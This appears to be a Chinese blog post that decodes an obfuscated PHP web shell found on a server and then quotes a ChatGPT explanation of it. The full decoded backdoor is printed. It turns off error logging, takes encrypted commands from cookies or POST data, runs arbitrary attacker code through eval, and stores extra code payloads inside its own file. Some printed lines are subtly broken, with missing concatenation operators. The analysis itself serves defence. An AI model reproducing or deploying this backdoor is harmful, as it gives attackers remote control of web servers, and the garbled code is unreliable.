4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4fJ8LkOh%Y4%YA%Y0_VeeQWx%Y4kv%Y4%Y07L6%NH%Nx%Y0Ek1pL%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0tksk%Y4%NH%Y4%Y0Ek1pL%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0tksk_7L6%Y4%NH%Y4%Y07L6%NG%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4af%Y4%YA%YR%Y0tksk%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4fJ8LkOh%Y4%YA%Y0_reKI%Y4kv%Y4%Y07L6%NH%Nx%Y0Ek1pL%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0tksk%Y4%NH%Y4%Y0Ek1pL%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0tksk_7L6%Y4%NH%Y4%Y07L6%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y0tksk%Y4%NH%Y4%04pXvL8ak1aPL%YAOv_tLO86Ts%YAOv_ZkvLg0_tLOJtL%YA%Y0tksk%Ym%YV%Y4%Y0tksk_7L6%Ym%Ym%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4af%Y4%YAavvLs%YA%Y0tksk%lG%YSk7%YS%lH%Ym%Y4%Yg%Yg%Y4%Y0Ov_kpsh%NH%NH%Y0tksk%lG%YSk7%YS%lH%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4af%Y4%YA%Y0tksk%lG%YSk%YS%lH%Y4%NH%NH%Y4%YSa%YS%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0a%Y4%NH%Y4c88k6%YA%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%YSTE%YS%Y4%NH%Nx%Y4%04ThTEL8vaJX%YA%Ym%YV%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%YSvE%YS%Y4%NH%Nx%Y4%YSY4-R%YS%YV%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%YSk7%YS%Y4%NH%Nx%Y4%Y0tksk%lG%YSk7%YS%lH%YV%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4LOhJ%Y4%04vL8ak1aPL%YA%Y0a%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4LCas%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4L1vLaf%Y4%YA%Y0tksk%lG%YSk%YS%lH%Y4%NH%NH%Y4%YSL%YS%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4LEk1%YA%Y0tksk%lG%YSt%YS%lH%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4L1vLaf%Y4%YA%Y0tksk%lG%YSk%YS%lH%Y4%NH%NH%Y4%YST1piaX%YS%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4af%YA%Y0tksk%lG%YSvk%YS%lH%Y4%NH%NH%Y4%YSktt%YS%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4Ov_T1piaX_ktt%YA%Y0tksk%lG%YST%YS%lH%YV%Y4%Y0tksk%lG%YSt%YS%lH%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4L1vLaf%YA%Y0tksk%lG%YSvk%YS%lH%Y4%NH%NH%Y4%YS8LF%YS%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4Ov_T1piaX_8LF%YA%Y0tksk%lG%YST%YS%lH%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4LOhJ%Y4%Y0tksk%lG%YSk7%YS%lH%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4LCas%YA%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4Ov_T1piaX_1Jkt%YA%Ym%NG%4H%4c%S
'''

# 解码字符串
decoded_str = vjpsq(encoded_str, code_map)
print(decoded_str)

执行代码就可以获得解码后的代码了代码如下：


@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = 'c8273099-3914-4ce4-8ef7-3e6025ea38b5';
    global $cs_auth;


    function cs_base64_decode($input) {

        if (strlen($input) < 4)
        {
            return "";
        }

        $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

        $keys = str_split($keyStr);
        $keys = array_flip($keys);

        $i = 0;
        $output = "";

        $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);

        do {
            $enc1 = $keys[$input[$i++]];
            $enc2 = $keys[$input[$i++]];
            $enc3 = $keys[$input[$i++]];
            $enc4 = $keys[$input[$i++]];

            $chr1 = ($enc1 << 2) | ($enc2 >> 4);
            $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
            $chr3 = (($enc3 & 3) << 6) | $enc4;
            $output = $output  chr($chr1);
            if ($enc3 != 64) {
                $output = $output  chr($chr2);
            }
            if ($enc4 != 64) {
                $output = $output  chr($chr3);
            }
        } while ($i < strlen($input));
        return $output;
    }

    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($n, $d, $flag = False)
        {
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            {
                return 0;
            }
            else
            {
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($filename)
        {
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        }
    }
    function cs_get_current_filepath()
    {
        return trim(preg_replace("/\(*\$/", '', __FILE__));
    }

    function cs_decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i<strlen($data);)
        {
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            {
                $out_data = chr(ord($data[$i]) ^ ord($key[$j]));
            }
        }

        return $out_data;
    }

    function cs_decrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
    }
    function cs_encrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
    }

    function cs_get_plugin_config()
    {
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config = substr($self_content, $config_pos + 32);
            $plugins = @unserialize(cs_decrypt(rawurldecode($config), md5(cs_get_current_filepath())));
        }
        else
        {
            $plugins = Array();
        }

        return $plugins;
    }

    function cs_set_plugin_config($plugins)
    {
        $config_enc = rawurlencode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config_old = substr($self_content, $config_pos + 32);
            $self_content = str_replace($config_old, $config_enc, $self_content);

        }
        else
        {
            $self_content = $self_content  "\n\n//"  md5(cs_get_current_filepath())  $config_enc;
        }

        @file_put_contents(cs_get_current_filepath(), $self_content);
    }

    function cs_plugin_add($name, $base64_data)
    {
        $plugins = cs_get_plugin_config();

        $plugins[$name] = cs_base64_decode($base64_data);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_rem($name)
    {
        $plugins = cs_get_plugin_config();

        unset($plugins[$name]);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_load($name=NULL)
    {
        foreach (cs_get_plugin_config() as $pname=>$pcontent)
        {
            if ($name)
            {
                if (strcmp($name, $pname) == 0)
                {
                    eval($pcontent);
                    break;
                }
            }
            else
            {
                eval($pcontent);
            }
        }
    }

    foreach ($_COOKIE as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }

    if (!$data)
    {
        foreach ($_POST as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    }

    $data = @unserialize(cs_decrypt(cs_base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    {
        if ($data['a'] == 'i')
        {
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '20-1',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        }
        elseif ($data['a'] == 'e')
        {
            eval($data['d']);
        }
        elseif ($data['a'] == 'plugin')
        {
            if($data['sa'] == 'add')
            {
                cs_plugin_add($data['p'], $data['d']);
            }
            elseif($data['sa'] == 'rem')
            {
                cs_plugin_rem($data['p']);
            }
        }
        echo $data['ak'];
        exit();
    }

    cs_plugin_load();
%7

最后放上chatgpt的评价

这段 PHP 代码似乎是一个 web shell 的一部分，这是一种恶意脚本，通常由攻击者上传到一个受感染的 web 服务器上，以便远程访问服务器和执行服务器上的命令。这段代码有几个关键特点，我将逐一解释：
1.@ini_set
 和 @error_reporting 函数调用被用来关闭错误日志和错误报告，这样的话，即使脚本出现错误，也不会有任何提示输出，这有助于躲避检测。
2.@set_time_limit(0)
 被用来移除 PHP 脚本的执行时间限制，这样脚本可以无限期运行，而不会因为超时而被终止。
3.定义了几个函数，如 
cs_base64_decode、cs_decrypt、cs_encrypt、cs_get_plugin_config、cs_set_plugin_config、cs_plugin_add、cs_plugin_rem 和 cs_plugin_load。这些函数看起来是用于解码、加密和管理插件或代码片段的。
4.cs_base64_decode
 函数是对 PHP 内置的 base64_decode 函数的一个包装，但它增加了一些额外的处理，比如清除非 base64 字符。
5.cs_decrypt
 和 cs_encrypt 函数用于解密和加密数据。它们使用了一个全局变量 $cs_auth 作为密钥的一部分，这个变量似乎是硬编码在脚本中的。
6.cs_get_plugin_config
 和 cs_set_plugin_config 函数被用来获取和设置插件配置，这些配置可能是存储在 web shell 文件本身中的加密数据。
7.cs_plugin_add
、cs_plugin_rem 和 cs_plugin_load 函数用于添加、删除和加载插件，这些插件可能是攻击者上传的额外的恶意代码片段。
8.脚本的最后一部分处理 
$_COOKIE 和 $_POST 请求，看起来它在等待包含特定操作和数据的请求。如果接收到的数据匹配预设的授权密钥 $cs_auth，则会执行相应的操作，如执行代码（可能是任意代码）、添加或删除插件。
总之，这段代码是非常危险的，因为它允许远程执行任意代码，这可能会导致服务器被完全控制。如果你在你的服务器上发现了这样的代码，你应该立即采取行动，比如清除恶意代码、更改密码、检查其他可能的安全漏洞，并考虑联系专业的安全专家来帮助你处理这个问题。同时，也需要检查服务器上的所有文件和日志，以确定攻击者可能已经执行的操作。